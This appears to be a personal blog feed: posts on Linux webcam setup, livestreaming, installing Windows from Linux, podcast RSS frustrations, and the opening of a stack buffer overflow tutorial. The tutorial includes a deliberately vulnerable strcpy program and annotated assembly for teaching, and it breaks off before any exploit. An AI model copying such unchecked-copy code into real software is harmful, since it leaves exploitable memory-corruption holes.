Note that unlike the original Eisenhower matrix, Eisenhower vectors do not have a general rule for what the direction and magnitude imply as far as task management goes (i.e., do/schedule/delegate/drop). Instead, they are a means to help you visualize (and thus bring into focus) a task’s trend-line so that you don’t forget about that part while prioritizing. If you want a very non-scientific rule of thumb, consider prioritizing Eisenhower vectors as though they were a point at the mid-point of the arrow.

That’s all — happy tasking!

Using a real camera as a webcam on Linux

Thu, 15 Oct 2020 17:50:01 +0000

I’ve wanted to upgrade my video setup for a while now. The Logitech C920 I’ve been using is quite decent, but I figured that if I’m only going to produce more video content going forward, the upgrade would be worth it. And I figured that doing the upgrade before I record my thesis defense might be a good idea.

Unfortunately, there aren’t that many webcams that are “better” than the C920. Some recommend the Brio or the StreamCam (this really seems to be a Logitech market), but none of them appear to that much of a step up. Fundamentally, you can only get so far with a sensor and lens that small.

Instead, the next step up is to get a “real” camera, and somehow hook that up to your computer. This, of course, immediately raises a number of questions: what is a real camera, which one do I get, and how do I hook it up? In my case, I had the additional requirement that it work on Linux, which tends to throw a wrench into things. Especially because most streamers (it seems) use Windows or macOS. And so, it’s adventure time!

Choosing a camera

When I say real camera, what I mean is a camera that’s specifically intended for shooting video “for real”. There are four rough categories:

DSLRs: the big cameras with attached lenses that go “shkshk” when you take a photo.
Mirrorless: the slightly smaller cameras with attached lenses that play a “shkshk” sound when you take a photo.
Camcorders: long cameras you slot your hand through that are made for shooting video.
Action Cameras: things like GoPros.

Picking between these is hard, and there aren’t obvious answers. I ended up going for a mirrorless because: Action Cameras usually have really wide angle lenses (which I didn’t need), DSLRs don’t provide much benefit in this context, and camcorders are only slightly cheaper than mirrorless but have worse image quality and can’t be upgraded with better lenses. I also found that it was easier to find used mirrorless cameras for sale than it was to find camcorders.

Now, not everything is rosy with mirrorless cameras either, mostly because they weren’t really built for constantly streaming video. In particular, you’ll want to get a “dummy battery”, which lets you hook the camera into AC power so that it can run continuously. And those aren’t generally official supported by the manufacturers. That said, looking around the internet, people seem to be using them with much success.

Many “regular” cameras (as opposed to camcorders) also aren’t designed to output video to other devices. Luckily, many of them have HDMI out (which we’ll take advantage of), but often those are intended to be used with external monitors, and not for actually recording anything. And as a result, they often have a bunch of additional information on them that is added by the camera; things like the current ISO, focus boxes, shooting modes, etc. So, you’ll have to specifically look for one that does not have those, or has a way to shut them off. The search term you want to use is “clean HDMI”. There’s a handy lookup tool here, though it only covers relatively new devices.

When it comes to picking a particular make and model, there aren’t really any right answers. Your budget is going to mostly make the decision for you. I highly recommend buying used, since cameras tend to hold up pretty well, and still come at a significant discount. I ended up going with the Panasonic LUMIX G7, which supports 4k video, has clean HDMI, seems to be generally liked and well-tested in the community, and had some decent offers on ebay. Do note that the G7 does not focus automatically when it’s just monitoring over HDMI, so you’ll have to hold down the capture button half-way to manually focus. And you have to do that each time you turn it on. If you know of a way to avoid that, let me know!

You’ll also find yourself looking at lenses when you are considering a mirrorless camera. Chances are you want one that’s wide-angle to replicate the feel of a webcam (at least that’s what I wanted), in which case you want “fewer mm”. The G7 comes with a 14-42mm lens kit, and I’m using it zoomed almost all the way out (so ~14mm). You can also get a “prime” lens, which has better image quality, but doesn’t zoom (in or out), but that’s probably not worth it if you’re only dipping your toes in the water with this.

Hooking it up

So now you have this shiny new camera, and you need to set it up. And I mean that in a “set up the cables and software” sense, but also in a “physically place it in the right place” sense. The latter is a much bigger hassle with a “real” camera, since it doesn’t just nicely attach to the top of your screen. Exactly what arrangement works best for you may take some thinking, but I repurposed my old mic boom as a camera boom, and then grabbed a “ball head” that would allow me to point the camera. The camera attaches to the ball head, the ball head to the boom, and the boom to the back of my desk near the monitor. It’s not the most elegant setup, but it’s cheap and I now have the camera exactly where my webcam used to be.

Now, for the cables. The trick that most of these camera setups pull is to run HDMI from the cable to an “HDMI capture card”. The capture card connects to your computer (usually either USB 3.0 or PCIe) and gives you a way of “capturing” the HDMI signal through a program like OBS. Of course, as will all external devices, whether one will work well for you (especially on Linux) is a bit of a toss-up.

In my case, I wanted something that did not require me to install any drivers, or otherwise fiddle with my kernel, because fewer parts means fewer opportunities for problems. In the Linux world, that basically means you want a capture card that supports UVC, a standardized protocol for manifesting video devices over USB. In fact, it’s probably what your webcam is using already! UVC devices are generally supported right out of the box, and automatically appear on Linux as V4L2 devices (again, just like a webcam!). So, in theory, completely hassle-free. I didn’t find too many HDMI capture cards that used UVC, but the Elgato Cam Link does. People also seemed to have some luck with actually running it in practice on Linux from some cursory searching, so I went with that one.

Actually hooking all of this up wasn’t too bad. I got this dummy battery and a random micro HDMI to HDMI cable, and after connecting everything, the camera came on, and the light on the Elgato lit up. There was even a /dev/video0 device! So far so good. But when I actually went to try looking at the webcam output (ffplay /dev/video0), I got nothing. Hmm…

Actually getting an image

I’ll spare you the journey, and instead give you the conclusions. First, I had to change a couple of settings on the camera. The little knob on the right had to be set to P (others may also work), and the shooting mode knob on the left had to be set to the single picture frame. Other configurations may also work. Then, in settings, “Rec Format” had to be set to MP4, and “HDMI Info Display” under “TV Connection” had to be set to off. You can set “Rec Quality” to whatever you want, though I recommend FHD/60p because:

Elgato does not officially support Linux, and so various configurations get a little wonky. In particular, the Elgato advertises a number of different supported color modes even though the camera does not support them. If you set the camera to output FHD for example, it reports:

$ v4l2-ctl -d /dev/video0 --list-formats-ext
ioctl: VIDIOC_ENUM_FMT
        Type: Video Capture

        [0]: 'YUYV' (YUYV 4:2:2)
                Size: Discrete 1920x1080
                        Interval: Discrete 0.017s (59.940 fps)
        [1]: 'NV12' (Y/CbCr 4:2:0)
                Size: Discrete 1920x1080
                        Interval: Discrete 0.017s (59.940 fps)
        [2]: 'YU12' (Planar YUV 4:2:0)
                Size: Discrete 1920x1080
                        Interval: Discrete 0.017s (59.940 fps)

But in practice, anything but YUYV will give you an empty or green screen. If you’re using this setup only in OBS this is fine, since you can choose the color mode, but if you also want to use it as a webcam in other applications, they will likely choose NV12 and thus get a bad signal. You can work around this using this LD_PRELOAD script, which isn’t great, but seems to work for me. The source is easy to audit. You can test that this’ll work with

$ ffplay -pixel_format yuyv422 /dev/video0

Worse yet, if you try to set the camera to any 4k output, that top option is also listed as Y/CbCr 4:2:0 (which is a different bug), and I don’t know if the preload trick will work there.

I also found that the signal had a noticeable input lag (probably ~500ms). Many people complained that this happened if they connected the Cam Link to a USB port that shared a bus with many other devices (check lsusb -tv), but that wasn’t the case in my setup. However, this lag went away when the camera was set to output in 60 fps (and only then). Which is super weird, since FHD/30 should send less data over the link, but it also had the added latency. Shrug. For the Panasonic G7, this eliminated 4k input (which it can only do at 30fps), but I’m okay with that. Hopefully one day that’ll be fixed.

Handy USB reset

I’ve found the Elgato to be really finicky about allowing you to start and stop capturing. And it gets old really fast to have to plug it out and back in between each time you want to record. It turns out you can get around this really easily by doing a “soft” reset using this program. It looks a little intimidating, but it really just issues an ioctl. There are usage instructions here, though after you’ve compiled it (cc usbreset.c -o usbreset), it’s just:

$ lsusb | grep Elgato
Bus 001 Device 002: ID 0fd9:0066 Elgato Systems GmbH Cam Link 4K
$ sudo ./usbreset /dev/bus/usb/001/002

And then you should be able to capture the video again just fine. I now simply re-run this program every time I stop capturing so it’ll be ready again for next time. I wish I didn’t have to, but I haven’t had any issues since I started doing that.

Result

Which brings me to the end. It works! As for whether it looks better, I’ll let you be the judge. The pictures in this tweet were taken at exactly the same time by my old webcam and my new camera which were set up side-by-side:

Just gave my webcam setup an upgrade. I think it got better. pic.twitter.com/U1IvdM23a4
— Jon Gjengset (@jonhoo) October 16, 2020

And for anyone who's curious, here's the setup itself (with old webcam for comparison): pic.twitter.com/vH2psKyhH5
— Jon Gjengset (@jonhoo) October 16, 2020

Livestream tips

Fri, 27 Mar 2020 12:18:59 +0000

Now that an increasing number of people are staying at home, more people are asking me for advice on how to get started with live streaming. I think this is great (yay for sharing knowledge!), so I want to share some of that advice here to make it more broadly accessible. This advice is primarily targeted at people live-streaming technical content, but may also be applicable beyond that.

If this was useful to you, or you have a question that isn’t answered here, please let me know!

Software

I use OBS Studio, and am very happy with it. It supports all sorts of input sources, works on most platforms, and supports both recording and streaming out of the box. It even lets you inject websites into your video to include dashboards, chat, etc. should you want it.

I stream concurrently to both YouTube and Twitch using restream.io. The service is free, and also takes care of synchronizing your chat between the two platforms. I have no complaints about it, and it’s also easy to set up with OBS. I multistream to those two platforms because I find that people have strong preferences for what platform they want to watch on, and who am I to say no. On average, about a quarter of my live viewers are on Twitch, and the rest on YouTube. Twitch has lower latency, better quality, and fewer connection problems, but YouTube presents a wider audience.

For drawing things, I use MyPaint, and it seems to do the job nicely.

Hardware

Get a decent microphone. If there is one thing you take away from this, it’s that. A proper, standalone microphone is so much better, and not even all that expensive. I started out with the Samson Q2U, and was very happy with it. You can hear what it sounds like in one of my first videos. I’ve since upgraded to the RØDE Podcaster (which sounds like this), and I doubt I’ll need anything more fancy that that ever. I’ll add that the step up from the Samson to the RØDE is noticeable (just see the comments).

I recommend also getting a mic boom (an arm that holds your microphone). It lets you position the mic closer to your mouth, which makes your voice clearer and reduces the noise from your keyboard and desk. Compare this video without a boom to this one with a boom. For the Samson Q2U microphone, I used this InnoGear arm, and for the RØDE I got their PSA1 arm. Both work great.

If you’re going to be doing live programming with a lot of typing, I’d also recommend investing in a shock mount. They’re pretty cheap, and they reduce amount of vibration from your key presses that gets picked up by the microphone (which users do notice), as well as thuds if you accidentally hit your mic. To hear the effect, compare the video with the thud to one with a shock mount. I only ever got one for my new mic, not the old one, and there I went with the RØDE PSM1.

I’ve also found that it’s really useful to have a drawing tablet of some kind for simple whiteboarding. Pretty much any tablet will do. I’m using the relatively simple Huion H640P and it does the job.

It’s not necessary, but I also suggest getting a small second monitor where you can have non-public things open during the stream. For me, the primary use for this is chat. That way, you can devote your full primary screen real-estate to the stream without having to cramp things due to the space taken up by the chat window.

Having OBS run video encoding in the background may put a strain on your computer, so you’ll want to make sure you have the hardware to drive full 1080p encoding while also compiling code (or doing whatever else it is you are streaming). I did my first few streams on my laptop, and that worked okay, but the stream quality did suffer as a result. I now do my live coding on a desktop with more cores and a (not very fancy) GPU, and that works way better. A short test stream is great for figuring this stuff out! You may want to consider restricting the number of cores you allow your compiler to use using something like curb, hwloc-bind, or numactl.

Don’t worry too much about your internet connection. Fast is great, but my streams seem to be doing okay with a meager 5Mbps upload speed.

Content and Structure

Probably one of the #1 questions I get is “what should I stream about”? This one is tough, because there isn’t one good answer. But let me try to give some pointers. Think about what you enjoy working on or talking about, and what you think you’d be able to coach people along through. And then stream that. Perhaps obviously, your streams will be best when you are excited about what you’re streaming! Don’t worry too much about what the viewers want to see — trying to guess what other people are interested in is a losing game. In my case, I just picked one from my pile of “stuff I wish existed but never have the time to do myself”, and then did that.

For programming streams in particular, the one bit of more concrete advice I can give is that it’s good to not dive in the very deep end at the start of a stream. Instead warm people up by explaining the problem and letting them be a part of researching the solution. If you already have a plan for what you’re going to implement and how, it’s unlikely the audience is going to be able to follow along. In my case, my first stream was basically “I need this thing, and would need to build it from scratch, so let’s just do that together”. It included a lot of figuring out how to do what I wanted to do on-stream, and I think that’s a good thing.

The key piece for any stream is to make sure you are talking, and preferably explaining, as you go. Speak your thoughts aloud. If you sit there quietly writing code, you’ll lose most viewers. This is perhaps one of the most important parts of an interesting stream: don’t be silent.

Announcements

People like to plan, and then forget things. Write a post ~1 week in advance, and then post a brief reminder 24 hours before the stream begins.

Make your announcement self-contained. If you want people to share your announcement, make it as easy as possible for them to do so. Include a brief description of what you’ll be streaming, the date/time, and the location. If you have space, you should also include a brief bit about the intended audience and planned length.

Remember people in other timezones. I tend to announce all streams in UTC time, and then link the exact date/time on everytimezone.com so that people can easily see what that time translates into where they are. The 24h reminder also works well for that, since people can look at when the post was made their time, and then just add 24h.

Announce the recording when it’s ready. After your stream has concluded and the recording of it is available online, write another brief post that links to the original announcement, gives a brief recap of how it went, and then links to the video.

The Stream Itself

Do a test stream! Things will inevitably go wrong the first time, so have it be something that doesn’t matter. Invite a few people to be your “viewers” so they can help you test on the receiving end.

Start your stream ~10m early with a static screen (you can set this up in OBS) showing some text like “Starts at 5pm UTC”. This lets viewers who show up early know that they’re in the right place, and allows them to start chatting before the session itself begins. I usually also jump on a few minutes early with audio-only both to chat informally and to test audio levels and chat.

Use a separate browser window, and maybe even a separate browser profile, for your streams. Your old tabs and history auto-complete can be both revealing and distracting.

Do not type passwords on-screen during your stream. Move the password input off-screen before typing. If you’re paranoid (like me), set a hotkey for muting your mic as well when you’re typing them in.

Don’t show chat on screen. It takes up screen real-estate, and means that people can’t opt out. Those who really want it after the fact can watch the saved live-stream (see below). Also saves you from when people type weird things you want to ignore in chat.

Increase your font size. Then increase it some more. People will be watching your streams on small tablets, or even their phone, and at 1920x1080, your normal font size is going to be impossible to read. Another good reason to do a test stream and get feedback!

Avoid switching rapidly between dark and bright windows. If someone is watching in a relatively dark room, this can be extremely jarring. Open the windows side-by-side, or at least warn them that this will happen before you do it.

Do a quick audit of your OBS stream layout. It’s no good if your webcam video overlay hides an important window on your screen for example. Try out the main few views you will have on screen during the stream, and see that the OBS output view looks reasonable.

Record your stream locally when you start, and upload that to YouTube after you’re done. The auto-saved version is affected by poor connection stability and includes your “stream starting in 10m screen”, which is just annoying. Make the uploaded version public, and the saved live-stream version unlisted, then link to the live-stream version from the recorded version for those who want to see chat.

Happy streaming!

Jon

Installing Windows when all you have is Linux

Sun, 08 Mar 2020 13:22:58 +0000

Okay, so, you are trying to install Windows on a laptop or something for your friend. But you use Linux, and don’t have a Windows box easily accessible. You’re armed with a USB drive, a Linux system, a Windows ISO, and little more. Now what?

I’ll keep this one brief, because if you’re trying to do this, you probably just want to get the damn thing working. And, like me, you are quite possibly already annoyed at why the simple solutions don’t work.

If you are not using Linux and just came here because you got the error:

Windows could not prepare the computer to boot into the next phase of installation

then just skip straight to step 6.

Depending on what you’ve tried so far, you may be in any one of these stages:

You dded the ISO onto the USB drive, and it won’t boot.
You created a single GPT FAT32 partition on the drive, tried to copy the files from the ISO over, and found that install.wim was too large to fit on a FAT32 system.
You created a single GPT NTFS (or maybe exFAT) partition on the drive, copied over the files from the ISO, and found that the computer wouldn’t boot it.
You tried to split the WIM and use FAT32, only to find that when the installer starts (which it does), it then fails with “A media driver your computer needs is missing”. You found this surprising since Microsoft recommend you do this.
You found this post (or maybe this one) and tried to create both a FAT32 and an NTFS partition. And everything seemed really promising until you get the error “Windows could not prepare the computer to boot into the next phase of installation”, and you sag into your chair going “why is this so damn hard?!”.

All right, so here’s what you have to do:

Format your USB drive as a GPT disk with two partitions, one FAT32 with GPT code ef00, the other NTFS with GPT code 0700. Roughly:

$ gdisk /dev/myusbdrive
o
n
<enter>
<enter>
+1G
ef00
n
<enter>
<enter>
<enter>
0700
w
$ sudo mkfs.fat -F32 /dev/myusbdrive1
$ sudo mkfs.ntfs -f /dev/myusbdrive2

Mount the Windows ISO and the partitions:

$ sudo mkdir /tmp/iso
$ sudo mount -o loop windows10-enterprise-1909-x64.iso /tmp/iso
$ sudo mkdir /mnt/{win,boot}
$ sudo mount /dev/myusbdrive1 /mnt/boot
$ sudo mount /dev/myusbdrive2 /mnt/win

Copy over all the files to the NTFS partition. Copy over everything except sources to the FAT32 partition. Finally, copy over sources/boot.wim to the FAT32 partition. You’ll get some warnings about copying permissions, but you can ignore those.
```
$ sudo rsync -av /tmp/iso/ /mnt/win/
$ sudo rsync -av --exclude sources /tmp/iso/ /mnt/boot/
$ sudo mkdir /mnt/boot/sources
$ sudo cp -a /tmp/iso/sources/boot.wim /mnt/boot/sources/
```
This is this trick, where we work around the FAT32 size limitations by using the FAT32 partition as a “launch pad” into the NTFS partition (which can have large files).

Unmount the USB drive

$ sudo sync
$ sudo umount /mnt/boot
$ sudo umount /mnt/win

Plug it into the machine you want to install Windows on. You probably want to reset the BIOS while you’re at it and enable secure boot (in “setup” mode). At the very least, make sure you boot in UEFI mode (not “legacy”). Boot from the USB drive — it should start the installer.

Now we’re going to move the installer onto the drive we’re installing onto! This is a sneaky trick to work around the Windows installer seemingly getting very confused on UEFI systems when there is more than one drive (like here, where our USB drive is inserted). We’re basically going to replicate the install disk onto the internal disk, and then run the installer from the internal disk without the USB drive inserted. We want to do so in such a way that the final install isn’t left with a bunch of empty space at the beginning of the disk (which is hard to reclaim), so we’re going to place the NTFS partition at the end. We also want to combine it with the split partition trick in case the machine cannot boot NTFS partitions.

Here we go: press Shift + F10 to open a command prompt, then:

> diskpart
list disk
select disk 0 REM this should be your internal disk
list part
REM this _clears_ the install disk, make sure you want to do this!
clean
REM now, we re-create the two-partition trick on the internal drive:
REM X below is in MB; use the size of the disk - 10GB
create part primary size=X
create part primary
select part 2
format fs=ntfs quick
# in case your disk is large, FAT32 partitions have a size limit:
select part 1 REM this should be the big partition
delete part
create part primary size=10000
select part 1 REM check that this is still the big partition
format fs=fat32
REM now, we need to format them
list volume
REM note down the drive letter for the USB drive.
REM we'll assume it's C: below
select volume 1 REM the volume for the FAT32 partition
assign letter=f
select volume 2 REM the volume for the NTFS partition
assign letter=n
REM all done
exit

Now we need to set up the files like before

> xcopy /H /E C:\ N:\
> copy C:\autorun.inf F:\
> copy C:\bootmgr F:\
> copy C:\bootmgr.efi F:\
> copy C:\setup.exe F:\
> xcopy /H /E C:\boot F:\boot REM answer D
> xcopy /H /E C:\efi F:\efi REM answer D
> xcopy /H /E C:\support F:\support REM answer D
> F:
> mkdir sources
> copy C:\sources\boot.wim F:\sources\
> exit

Phew, okay, now, click the little X in the installer to exit. When the computer reboots, unplug the USB drive.

We’re almost done. When the installer starts, proceed normally until you get to the place where you’re given the option of a “Custom” install. Choose it. When you’re given the partition manager, select the partition at the start of the disk, and delete it. Then, select the “unallocated space” as the installation target.
Finish installation (it should hopefully succeed!).

To reclaim the final bit of space, open up an Administrator command prompt (Windows key → cmd → Ctrl + Shift + Enter), and run:

> diskpart
select disk 0 REM make sure this is the disk with the NTFS partition
list part
select part N REM N should be the 10G NTFS partition
delete part
list volume
select volume M REM M should be the volume immediately before N
extend
exit

Enjoy?

If this worked for you, or if you had to do something differently, please let me know on Twitter or by e-mail so I can update this accordingly :)

My First Podcast: A Tale of a Broken Ecosystem

Wed, 10 Jul 2019 07:49:37 +0000

I’ve been playing around with the idea for a new podcast along with a couple of other Rustaceans recently, and a little while back we decided to go ahead and record an episode on the newly release Rust 1.36.0 (stay tuned!). Yesterday, I spent some time trying to get all the “stuff” set up to actually release the podcast, and it resulted in perhaps the most frustrating few tech-related hours I’ve had in a few years.

I decided I didn’t want anything fancy; I’d just upload the recorded episode to Backblaze B2, where I already have an account for backup purposes, and then use GitHub Pages for a super-barebones website and an RSS feed for the podcast episodes. Seems simple enough, right? I just needed to figure out the feed stuff, and then I’d be good to go.

So, as any lazy programmer does, I started by searching for “jekyll podcast rss”, since GitHub pages is basically Jekyll. And lo and behold, “Podcasting with Jekyll in 4 Steps” pops up. Great! I’ll be done in no time. Seems easy enough. Steps 1 and 2 I’ve already completed. Copy-paste the RSS template, and it seems to generate correctly, great!

Now just to double check, let’s run it through a validator. “itunes podcast rss validator” brings up Cast Feed Validator, podbase, and FEED validator. I guess let’s try all three. They all complain about slightly different things, like the <atom::link> tag not pointing to the right URL, so I do some tweaking to make things work on GitHub Pages. Oh, yeah, and apparently iTunes only accepts certain HTTPS certificates, and the one used by GitHub Pages isn’t one of them. I guess I’ll have to proxy through CloudFlare or something.

This process does cause me to read through the XML more carefully though, and I see a number of other things that seem odd. First, there are several calls to xml_escape, which seems weird given the existence of CDATA. Second, <description>, <itunes:subtitle>, and <itunes:summary> seem very overlapping – how do they differ? It’s time to look for the spec!

iTunes seems to be the primary standard-setter for podcast RSS feeds, so I quickly end up at Apple’s Podcast feed sample. Except this also has a number of tags my feed does not, such as <itunes:type> and <itunes:title> (how does it differ from <title>?). I also see that they are nesting something called <content:encoded> inside of <description>, and also using CDATA. Their value in <itunes:duration> is in seconds, not as HH:MM:SS. I try to match my XML to theirs — it now fails validation. Okay… Is there a full specification somewhere?

I find Apple’s Podcast best practices, which goes into some more details about the difference between different tags (like summary and description). They say that <content::encoded> should be separate from <description>, in direct contradiction of the feed example. They also recommend <itunes:type>, except that tag is rejected by the validator as not part of the schema.

I find Apple’s Podcaster’s guide to RSS. This has an official-looking table with “required tags” and “recommended tags”. Finally! Except here, for <description>, the example shows <content:encoded>? The “best practices” document also said that <content:encoded> could be used at “episode-level only”, whereas this document seems to say that all description elements should have it? At the bottom, it says “only use markup or HTML contained within <content:encoded> tags inside of <description> tags”, reiterating that one should be inside the other, even though this seems contrary to the RSS spec (see also StackOverflow). The spec also says that if <content:encoded> is present, <description> should be used as a summary (so what is <itunes:summary> for?).

This document also specifies that <itunes:title> should be used for episode titles, not <title>, whereas the same is not true for the channel title. At least it clarifies that <itunes:duration> can take “different duration formats”, so that (maybe) explains it being given in both seconds and HH:MM:SS format. Oh, and <itunes:keywords> is also apparently not a thing. And when it says that you can use false or true for things like <itunes:explicit>, that’s a lie – you must use no or yes.

Okay, so that is a hot mess. Let’s see what schema Google recommends for its podcast feeds. Some initial Googling leads us to this page, which has a link to the XSD schema file and a Google Support answer. The latter does give an outline of the required tags, but it seems to mostly be “do what iTunes requires and we’ll figure it out”. They provide their own googleplay namespace if you need to, say, use a different e-mail address on Google. Unfortunately, their “Sample podcast RSS feed” doesn’t validate, because:

Use of unknown namespace: http://www.google.com/schemas/play-podcasts/1.0

Great, so the googleplay namespace doesn’t work, so you can’t use a different e-mail address for iTunes and Google Play. Fantastic.

Okay, whatever, let’s at least just see whether iTunes will accept what I now have. I’m just going to sign up for an Apple ID real quick. Just have to fill out this little form (which requires JavaScript, because of course it does) and then verify my e-mail. Easy enough.

Your account cannot be created at this time.

Err, what? Okay, different e-mail address?

Your account cannot be created at this time.

Err, okay, different browser?

Your account cannot be created at this time.

Different browser, e-mail address, and over VPN?

Your account cannot be created at this time.

I guess it’s time to contact Apple support. My only option is to either have them call me or schedule a call for later. No idea why online support isn’t a thing, but okay. I put in my phone number and the cryptic error message and wait. Two minutes later, I get a text from Google Fi that I have a missed call. Apparently Apple Support tried to call me and it went to voicemail. Huh, weird. I was by my phone the whole time and it never rang. I get an e-mail saying they failed to reach me and will try again. I get another missed call from voicemail. Apple gives up.

After digging through my calls list, I notice that the missed calls show the incoming calls from Apple with the “Blocked spam caller” icon. Uh-oh. I guess Google Fi marks Apple Support as spam? Great. I unmark as spam and file another support ticket. The call goes through immediately.

Okay, so I’m speaking to Porschia. Seems friendly enough. I tell them my issue again and my e-mail address. They disappear for a while, occasionally checking back that it’ll just be a bit longer. After about 10 minutes of mostly silence, they tell me to try again. It works! I ask why. “Your e-mail had to be whitelisted”. What?! Apparently Apple doesn’t like people with e-mail addresses under custom domains signing up for an Apple ID? How bizarre.

Well, I have an Apple ID account now, so onwards! The Interwebs tell me that I should now go to Podcasts Connect, so I do.

Podcasts Connect requires an iTunes Store account.

Err… And that’s different from an Apple ID? Apparently a magic “blessing” happens to your Apple account the first time you log in through an Apple product (either a device or iTunes). And that blessing is needed to publish a podcast. I guess that’s next. But… I’m on Linux, and I own no Apple devices. There is quite literally no way for me to log into an Apple product. Unless…

A while back, Microsoft released Windows virtual machine images to allow you to test stuff in older versions of Internet Explorer. They’re free to download, but expire after 90 days. That’s fine. I just need to log in to iTunes. So, I download a Windows VM, install iTunes on there, log in with my new Apple ID, give my address, and click continue expecting that there’s some additional process I have to go through involving a credit card and whatnot to get my account blessed.

You have been logged in to iTunes.

So, let me get this straight. I had to download a 6GB Windows VM + 200MB of iTunes just so I could fill in my address? There really wasn’t any way I could have done this through the web Apple? At least I’m not the only one who has commented on this being stupid in the past.

Anyway, with my special iTunes Store account in hand, I now navigate back to Podcasts Connect, and am met with a mostly blank page with a single text input field named “RSS Feed URL”. I give it what it wants, and it spins for a while. Then

Failed Validation

No further explanation. It just.. Failed. Back to the other validators I guess. The unrecognized Google Play schema definition was the only reported error, so I removed that. An what do you know, that was it. iTunes validated my XML! Now let’s just double-check the details it has extracted. Huh, that’s weird. The episode listing shows a blank string under “Description” for the included episode. After some digging, it turns out that the podcast episode “Description” in this list is, wait for it… <itunes:subtitle>. Because it’d be silly if it was any of the three other tags that are meant to be descriptions.

But hey, at least now I think I’m about ready to publish this thing. Cue record scratch…

Smashing the Stack in the 21st Century

Wed, 30 Jan 2019 11:14:53 +0000

Aleph One’s excellent Smashing the Stack for Fun and Profit article from 1996 has long been the go-to for anyone looking to learn how buffer overflow attacks work. But the world has changed a lot since then, and the original attacks will not generally work on modern 64-bit machines. Some of this is due to many new defense mechanisms that are now enabled by default (see Paul Makowski’s Smashing the Stack in 2011 for an overview), but those can be disabled if all you want to do is understand how these attacks work. What cannot easily be avoided any more though is 64-bit execution environments.

The Stack Region

Before we discuss exactly how things change in the 64-bit world, let’s take a step back and revisit what a (stack) buffer overflow attack is. To do so, let’s start with a very simple, and perhaps silly, C program:

#include <string.h>
#include <stdio.h>
void copy(char *str) {
   char buffer[16];
   strcpy(buffer, str);
   printf("%s\n", buffer);
}

int main (int argc, char **argv) {
   copy(argv[1]);
   return 0;
}

When this program runs, the program reserves a part of its memory as its stack. The program uses the stack to keep track of its state as it runs, such as the values of local variables, where to return to, etc. In general, the stack starts at a high memory address, and new things are pushed onto the stack at lower memory addresses. Usually, when a function is called, it gets its own stack frame where it can keep track of its local variables and the like. For example, when copy is called above, the stack will look a little like this:

                    .-------0x00-------.
                    :                  :
                    :       ....       :
                    |------------------|
    "top" of stack  |                  |  "bottom" of memory
                    |   copy's frame   |  (low addresses)
                    |                  |
                    |------------------|
                    |                  |
 "bottom" of stack  |   main's frame   |  "top" of memory
                    |                  |   (high addresses)
                    `------------------`

Notice that things that are pushed to the stack later are higher in the stack, and thus at lower memory addresses. But what do those frames actually contain? It depends on the architecture and the compiler, but in general, stack frames always contain at least two things: memory needed for the function’s local variables (like buffer in copy), and the address of where the function should return.

The Calling Convention

The best way to understand this in more detail is to dig into some assembly (using AT&T syntax). Specifically, let’s look at what happens on [x64], the 64-bit architecture used by Intel and AMD’s 64-bit CPUs, when main calls copy:

# This is the assembly for our C code, modified slightly to make it
# easier to follow. It's on godbolt at: https://godbolt.org/z/J3oWfn
#
# You can also generate it locally with:
#
#   $ gcc -o simple.S -S -fno-stack-protector simple.c
#   $ cat simple.S
#
main:
  # ... various setup for main() ...
  # at this point, argv is in %rax
  # to call copy, we place its 1st argument in the %rdi register
  movq    %rax, %rdi

  # and then we call copy. call pushes the "rip", a pointer to the
  # current instruction, onto the stack, and then jumps to the
  # address of copy.
  call    copy(char*)

  # this is where copy returns to when it issues the ret
  # instruction. you should go read the assembly for copy now.
  # after this point, main just returns, and the program exits
  leave
  ret

copy(char*):
  # this is known as the "function prologue", and appears at the
  # top of pretty much every function. it's not _required_ by x64,
  # but is something most compilers emit for most functions.
  # first, we remember where the callers stack frame started
  pushq   %rbp

  # then we set that our stack frame starts here
  movq    %rsp, %rbp

  # then we make some space on the stack for local variables
  # in this case, 8 bytes for the str pointer, 16 bytes for
  # the buffer, and then the compiler rounds up to 32 bytes
  # to maintain 16-byte stack alignment.
  subq    $32, %rsp

  # at this point, our stack frame looks like this:
  # (every line is 8 bytes wide)
  #
  #     .-------0x00-------.
  #     :                  :
  #     |                  | <- %rsp
  #     |     padding      |
  #     |       str        |
  #     |  buffer[ 0-7  ]  |
  #     |  buffer[ 8-15 ]  | <- %rbp
  #     | [ main's  %rbp ] |
  #     | [return address] |
  #     |------------------|
  #     :   main's frame   :
  #     `------------------`
  #
  # or, displayed differently:
  #
  #   bottom of                                             top of
  #   memory                                                memory
  #
  #           str         buffer         sbp        ret
  #   <-- [        ][ 0           15 ][        ][        ] main...
  #
  #   top of                                             bottom of
  #   stack                                                  stack

  # the x64 calling convention dictates that a function's first
  # argument resides in the %rdi register. so the assembly code
  # for copy next stores the value for the str pointer into the
  # memory for the local variable str
  movq    %rdi, -24(%rbp)

  # we're now gearing up to call strcpy.
  # it takes two arguments, the target and the destination
  # which we need to stick into %rdi and %rsi respectively
  # (again, as per the x64 calling convention)

  # first, put the address of buffer[0], which starts 16 bytes
  # before %rbp (that is, 16 bytes higher up the stack), into
  # %rdi. leaq is like movq, but copies the address of its
  # arguments instead of its contents.
  leaq    -16(%rbp), %rdi

  # then, put the value of str into %rsi.
  #
  # notice that the compiler _could_ have been cleverer here,
  # by sticking %rdi directly into %rsi before modifying %rdi
  # instead of leaving space on the stack for str.
  movq    -24(%rbp), %rsi

  # next, we call strcpy, and the same thing will happen
  # as when main called us. when it returns, it'll leave the stack
  # exactly like it was before we called it.
  call    strcpy

  # when strcpy returns, we'll end up here.
  # we now want to print out the string, so we put the address of
  # buffer[0] in %rdi as the first argument again
  leaq    -16(%rbp), %rdi
  # and then call puts this time, which prints the given buffer
  call    puts

  # finally, we're ready to return, so we use leave to restore
  # main's values for %rsp and %rbp. see
  # https://www.felixcloutier.com/x86/leave for the details of how
  # this works if you're interested.
  leave

  # we then use ret to return to main.
  # ret pops the return address from the stack and jumps to it.
  ret

Hopefully that wasn’t too painful to follow. If you’ve read Smashing the Stack for Fun and Profit before, you’ll notice a number of similarities in how this all worked. You may also notice a crucial difference – arguments to functions are no longer passed on the stack. We’ll get back to that later.

Buffer Overflows

Now that we have that background, the path to a buffer overflow on the stack is pretty short. Specifically, consider what happens if we write more than 16 bytes into buffer. This can happen, since strcpy just keeps copying bytes until it encounters a byte with a value 0x00 (see null-terminated strings and the null character), and we don’t check that the user’s input (argv[1] – the program’s first command-line argument) is shorter than 16 bytes!

If buffer is overrun, we call this a buffer overflow. What happens as a result of a buffer overflow depends entirely on what comes after the buffer in memory. Let’s take a look at our horizontal stack diagram:

  bottom of                                             top of
  memory                                                memory

          str         buffer         sbp        ret
  <-- [        ][ 0           15 ][        ][        ] main...

